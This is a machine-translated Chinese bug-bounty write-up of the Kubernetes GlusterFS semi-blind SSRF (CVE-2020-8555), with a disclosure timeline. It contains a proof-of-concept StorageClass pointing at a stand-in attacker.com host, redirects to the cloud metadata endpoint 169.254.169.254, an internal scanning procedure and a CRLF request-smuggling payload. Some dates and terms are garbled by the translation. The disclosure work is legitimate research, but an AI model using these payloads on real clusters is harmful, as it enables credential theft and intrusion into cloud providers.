笔记。 翻译。:本文作者详细讲述了他们如何发现该漏洞
我们是谁
我们是两位法国安全研究人员,共同发现了 Kubernetes 中的一个漏洞。 我们的名字是 Brice Augras 和 Christophe Hauquiert,但在许多 Bug Bounty 平台上我们分别被称为 Reeverzax 和 Hach:
-
布莱斯·奥格拉斯 -阿斯滕集团公司 ; -
克里斯托夫·豪奎尔特 - 诺基亚的 Kubernetes 架构师。
发生什么事了吗?
这篇文章是我们分享一个普通的研究项目如何意外地变成昆虫猎人一生中最激动人心的冒险的方式(至少目前如此)。
您可能知道,错误猎人有几个显着的特征:
- 他们以披萨和啤酒为生;
- 他们在其他人都睡着的时候工作。
我们也不例外:我们通常在周末见面,彻夜不眠地进行黑客活动。 但其中一个夜晚以一种非常不寻常的方式结束。
最初我们打算开会讨论参与
晚上 11 点,我们坐下来进行研究,然后一大早就上床睡觉,对结果非常满意。 正是由于这项研究,我们遇到了 MSRC Bug Bounty 计划,并提出了权限升级漏洞。
几周/几个月过去了,我们意想不到的结果带来了 Azure Cloud Bug 赏金历史上最高的奖励之一 - 除了我们从 Kubernetes 获得的奖励之外!
根据我们的研究项目,Kubernetes 产品安全委员会发布了
现在我想尽可能地传播有关发现的漏洞的信息。 我们希望您能欣赏这一发现并与信息安全社区的其他成员分享技术细节!
这就是我们的故事......
上下文
为了最清楚地了解所发生的事情,让我们首先看看 Kubernetes 如何在云托管环境中工作。
当您在此类环境中实例化 Kubernetes 集群时,管理层通常由云提供商负责:
控制层位于云提供商的周边,而 Kubernetes 节点位于客户的周边
为了动态分配卷,需要使用一种机制从外部存储后端动态配置它们,并将它们与 PVC(持久卷声明,即对卷的请求)进行比较。
因此,在 PVC 创建并绑定到 K8s 集群中的 StorageClass 后,提供卷的进一步操作将由 kube/cloud 控制器管理器接管(其确切名称取决于版本)。 (笔记。 翻译。:我们已经使用云提供商之一的实施示例编写了有关 CCM 的更多内容
Kubernetes 支持多种类型的配置器:其中大多数都包含在
在我们的研究中,我们重点关注内部卷配置机制,如下图所示:
使用内置 Kubernetes 配置程序动态配置卷
简而言之,当 Kubernetes 部署在托管环境中时,控制器管理器由云提供商负责,但卷创建请求(上图中的数字 3)离开云提供商的内部网络。 这就是事情变得非常有趣的地方!
黑客场景
在本节中,我们将解释如何利用上述工作流程并访问云服务提供商的内部资源。 它还将向您展示如何执行某些操作,例如获取内部凭据或升级权限。
一种简单的操作(在本例中为服务端请求伪造)有助于超越客户端环境,进入托管 K8 下的各种服务提供商的集群。
在我们的研究中,我们重点关注 GlusterFS 配置程序。 尽管在此上下文中描述了进一步的操作顺序,但 Quobyte、StorageOS 和 ScaleIO 容易受到相同漏洞的影响。
滥用动态卷配置机制
在存储类分析期间 Gluster文件系统 在Golang客户端源代码中我们 resturl
添加 /volumes
.
我们决定通过添加来摆脱这条额外的路径 #
在参数中 resturl
。 这是我们用来测试半盲 SSRF 漏洞的第一个 YAML 配置 (您可以阅读有关半盲或半盲 SSRF 的更多信息,例如,
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrf
然后我们使用二进制文件远程管理 Kubernetes 集群 Kubectl。 通常,云提供商(Azure、Google、AWS 等)允许您获取用于此实用程序的凭据。
多亏了这个,我才能使用我的“特殊”文件。 Kube-controller-manager 执行了生成的 HTTP 请求:
kubectl create -f sc-poc.yaml
从攻击者的角度来看答案
此后不久,我们还能够通过命令接收来自目标服务器的 HTTP 响应 describe pvc
или get events
在 kubectl. 事实上:这个默认的 Kubernetes 驱动程序的警告/错误消息过于冗长......
这是一个带有链接的示例 https://www.google.fr
设置为参数 resturl
:
kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events
在这种方法中,我们仅限于这样的查询 HTTP POST 如果返回码为,则无法获取响应正文的内容 201。 因此,我们决定进行额外的研究,并通过新方法扩展这种黑客场景。
我们研究的演变
- 高级场景#1:使用来自外部服务器的 302 重定向来更改 HTTP 方法,以提供更灵活的方式来收集内部数据。
- 高级场景#2:自动化 LAN 扫描和内部资源发现。
- 高级场景#3:使用 HTTP CRLF + 走私(“请求走私”)来创建定制的 HTTP 请求并检索从 kube-controller 日志中提取的数据。
技术规格
- 该研究在北欧地区使用了 Azure Kubernetes 服务 (AKS) 和 Kubernetes 版本 1.12。
- 上述场景均在最新版本的 Kubernetes 上执行,第三个场景除外,因为他需要使用 Golang 版本 ≤ 1.12 构建的 Kubernetes。
- 攻击者的外部服务器 -
https://attacker.com
.
高级场景 #1:将 HTTP POST 请求重定向到 GET 并接收敏感数据
对原来的方法进行了改进,通过配置攻击者的服务器返回 302 HTTP 重新编码将 POST 请求转换为 GET 请求(图中的步骤 4):
来自客户端的第一个请求 (3) Gluster文件系统 (控制器管理器),具有 POST 类型。 通过执行以下步骤,我们能够将其转换为 GET:
- 作为参数
resturl
在StorageClass中表明http://attacker.com/redirect.php
. - 端点
https://attacker.com/redirect.php
使用 302 HTTP 状态代码和以下位置标头进行响应:http://169.254.169.254
。 这可以是任何其他内部资源 - 在本例中,重定向链接仅用作示例。 - 默认情况下, .net/http 库 Golang 重定向请求并将 POST 转换为带有 302 状态码的 GET,从而产生对目标资源的 HTTP GET 请求。
要读取 HTTP 响应正文,您需要执行以下操作 describe
PVC物体:
kubectl describe pvc xxx
以下是我们能够接收到的 JSON 格式的 HTTP 响应示例:
当时发现的漏洞的能力有限,原因如下:
- 无法将 HTTP 标头插入传出请求中。
- 无法使用正文中的参数执行 POST 请求(这可以方便地从运行于其上的 etcd 实例请求键值) 2379 如果使用未加密的 HTTP,则为端口)。
- 当状态代码为 200 并且响应没有 JSON Content-Type 时,无法检索响应正文内容。
高级场景#2:扫描本地网络
然后使用这种半盲 SSRF 方法扫描云提供商的内部网络并根据响应轮询各种监听服务(元数据实例、Kubelet、etcd 等) 库贝控制器.
首先,确定 Kubernetes 组件的标准监听端口(8443、10250、10251 等),然后我们必须自动化扫描过程。
看到这种扫描资源的方法非常具体,并且与经典扫描仪和 SSRF 工具不兼容,我们决定在 bash 脚本中创建自己的工作程序,以自动化整个过程。
例如,为了快速扫描内网172.16.0.0/12范围,并行启动了15个worker。 上述 IP 范围仅作为示例选择,可能会根据您的特定服务提供商的 IP 范围进行更改。
要扫描一个IP地址和一个端口,需要执行以下操作:
- 删除最后检查的StorageClass;
- 删除之前验证的持久卷声明;
- 更改IP和端口值
sc.yaml
; - 使用新的 IP 和端口创建 StorageClass;
- 创建一个新的 PVC;
- 使用 PVC 的描述提取扫描结果。
高级场景 #3:CRLF 注入 + 在“旧”版本的 Kubernetes 集群中走私 HTTP
除此之外,如果提供商还向客户提供旧版本的 K8s 集群 и 让他们可以访问 kube-controller-manager 的日志,效果变得更加显着。
对于攻击者来说,根据自己的判断更改旨在获取完整 HTTP 响应的 HTTP 请求确实要方便得多。
要实现最后一个场景,必须满足以下条件:
- 用户必须有权访问 kube-controller-manager 日志(例如,在 Azure LogInsights 中)。
- Kubernetes集群必须使用低于1.12的Golang版本。
我们部署了一个本地环境来模拟 GlusterFS Go 客户端和假目标服务器之间的通信(我们暂时不发布 PoC)。
被找到
通过结合上面描述的半盲SSRF 一起 这样,我们就能够根据自己的喜好发送请求,包括替换标头、HTTP 方法、参数和数据,然后 kube-controller-manager 对其进行处理。
这是参数中有效“诱饵”的示例 resturl
StorageClass,它实现了类似的攻击场景:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn
结果是一个错误 主动回应,有关其的消息记录在控制器日志中。 由于默认启用详细信息,HTTP 响应消息的内容也保存在那里。
这是概念验证框架内最有效的“诱饵”。
使用这种方法,我们能够对各种托管 k8s 提供商的集群进行以下一些攻击:使用元数据实例上的凭据进行权限升级、通过 etcd 主实例上的(未加密的)HTTP 请求进行主 DoS 攻击等。
后果
在 Kubernetes 官方关于我们发现的 SSRF 漏洞的声明中,将其评级为 CVSS 6.3/10:CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N。 如果我们只考虑与 Kubernetes 边界相关的漏洞,完整性向量 (完整性向量) 它有资格作为 不包含.
然而,评估托管服务环境中可能产生的后果(这是我们研究中最有趣的部分!)促使我们将漏洞重新分类为评级 关键 CVSS10/10 对于许多经销商来说。
以下是帮助您了解我们在评估云环境中的潜在影响时的注意事项的附加信息:
廉正
- 使用获取的内部凭据远程执行命令。
- 使用 IDOR(不安全直接对象引用)方法和本地网络上找到的其他资源重现上述场景。
保密
- 攻击类型
横向运动 由于云凭证(例如元数据 API)被盗。 - 通过扫描本地网络收集信息(确定 SSH 版本、HTTP 服务器版本等)。
- 通过轮询内部 API(例如元数据 API)来收集实例和基础设施信息(
http://169.254.169.254
,...)。 - 使用云凭据窃取客户数据。
可用性
与攻击向量相关的所有利用场景 正直,可用于破坏性操作并导致客户端周边(或任何其他)的主实例不可用。
由于我们处于托管 K8s 环境中并评估对完整性的影响,因此我们可以想象许多可能影响可用性的场景。 其他示例包括损坏 etcd 数据库或对 Kubernetes API 进行关键调用。
年表
- 6 年 2019 月 XNUMX 日:向 MSRC Bug Bounty 报告了该漏洞。
- 3 年 2020 月 XNUMX 日:第三方通知 Kubernetes 开发人员,我们正在解决安全问题。 并要求他们将 SSRF 视为内部(核心)漏洞。 然后,我们提供了一份一般报告,其中包含有关问题根源的技术详细信息。
- 15 年 2020 月 XNUMX 日:我们根据 Kubernetes 开发人员的要求(通过 HackerOne 平台)向他们提供了技术和一般报告。
- 15 年 2020 月 8 日:Kubernetes 开发人员通知我们,过去版本的半盲 SSRF + CRLF 注入被视为核心漏洞。 我们立即停止分析其他服务提供商的边界:KXNUMXs 团队现在正在处理根本原因。
- 15年2020月XNUMX日:通过HackerOne收到MSRC奖励。
- 16 年 2020 月 XNUMX 日:Kubernetes PSC(产品安全委员会)认识到该漏洞,并由于潜在受害者数量众多,要求在 XNUMX 月中旬之前保密。
- 11年2020月XNUMX日:收到Google VRP奖励。
- 4 年 2020 月 XNUMX 日:通过 HackerOne 收到 Kubernetes 奖励。
- 15 年 2020 月 19 日:由于 COVID-XNUMX 疫情,原定的公开披露被推迟。
- 1 年 2020 月 XNUMX 日:Kubernetes + Microsoft 关于该漏洞的联合声明。
TL博士
- 我们喝啤酒,吃披萨:)
- 我们发现了 Kubernetes 中的一个核心漏洞,尽管我们无意这样做。
- 我们对不同云提供商的集群进行了额外的分析,并能够增加漏洞造成的损害,从而获得额外的丰厚奖金。
- 您将在本文中找到很多技术细节。 我们很乐意与您讨论这些问题(Twitter:
@ReeverZax &@__hach_ ). - 事实证明,各种手续和报告的时间比预期要长得多。
引用
-
Google 组 kubernetes-security-announce ; -
CVE-2020-8555 ; -
golang 问题#30794 ; -
heketi/client/api/go-client/volume.go .
译者PS
另请阅读我们的博客:
来源: habr.com